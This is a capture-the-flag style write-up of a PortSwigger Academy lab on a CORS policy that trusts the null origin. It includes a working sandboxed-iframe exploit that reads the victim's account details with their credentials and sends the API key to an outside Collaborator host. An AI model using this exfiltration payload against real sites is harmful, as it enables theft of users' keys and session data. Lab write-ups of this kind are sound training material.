Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CORS Misconfiguration — Trusted null Origin
Difficulty Apprentice
Objective Exfiltrate the administrator's API key by abusing the trusted null origin

CORS Vulnerability with Trusted Null Origin — Writeup


Initial Observation

Logged in as wiener:peter. Same pattern as before — the API key is fetched asynchronously from /accountDetails:

fetch('/accountDetails', {credentials:'include'})
    .then(r => r.json())
    .then(j => document.getElementById('apikey').innerText = j.apikey)

Intercepting the /accountDetails request in Burp:

Screenshot
{
  "username": "wiener",
  "email": "",
  "apikey": "7i0OFjq03FOlfAiJ3Ab81GBQOhvgaWVh",
  "sessions": [
    "8yTKqYXUfcB8XL7z6jsOYtGDMPMF0i8A"
  ]
}

Web — Testing the CORS Policy

Adding Origin: teto.com to the request — no Access-Control-Allow-Origin in the response. The server isn't reflecting arbitrary origins this time.

Screenshot

Trying Origin: null:

Screenshot
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

The server explicitly trusts null. The endpoint has sensitive data and credentials are allowed — we just need to generate a request that the browser sends with Origin: null.


Attack Path

Why a Plain Script Won't Work

The usual XHR from our exploit server won't work here — requests from exploit-server.net would send Origin: https://exploit-server.net, which the server doesn't trust. We need a way to make the browser send Origin: null instead.

Browsers send null as the origin for sandboxed iframes that have no origin of their own. An iframe with sandbox="allow-scripts" and an inline srcdoc document has no real origin — so the browser sets Origin: null on any requests it makes. That's exactly what we need.

Testing srcdoc on the exploit server first to confirm we can inject content:

<iframe sandbox="allow-scripts" srcdoc="<h1>Teto</h1>">
Screenshot

The h1 renders inside the iframe. srcdoc lets us define the iframe's content inline as a string — no external URL needed. Now putting the XHR script inside it. The quotes inside srcdoc have to be single quotes to avoid breaking the outer HTML attribute:

<iframe sandbox="allow-scripts" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = function(){
        new Image().src = 'https://iug2hhnrbrxb2azu9gtov0uei5oxco0d.oastify.com/?tetoKey=' + btoa(req.responseText);
    };
    req.open('GET', 'https://0a0c0012039312798011038700e7002d.web-security-academy.net/accountDetails', true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>

The sandbox strips the iframe's origin → browser sends Origin: null → server trusts it → response comes back with the API key → onload fires → Image().src exfiltrates it base64-encoded to Collaborator.

Delivering the exploit to the victim:

Screenshot

Collaborator receives the request with the administrator's API key:

Screenshot

Submitting the answer:

Screenshot

Lab solved <>..<>

Resources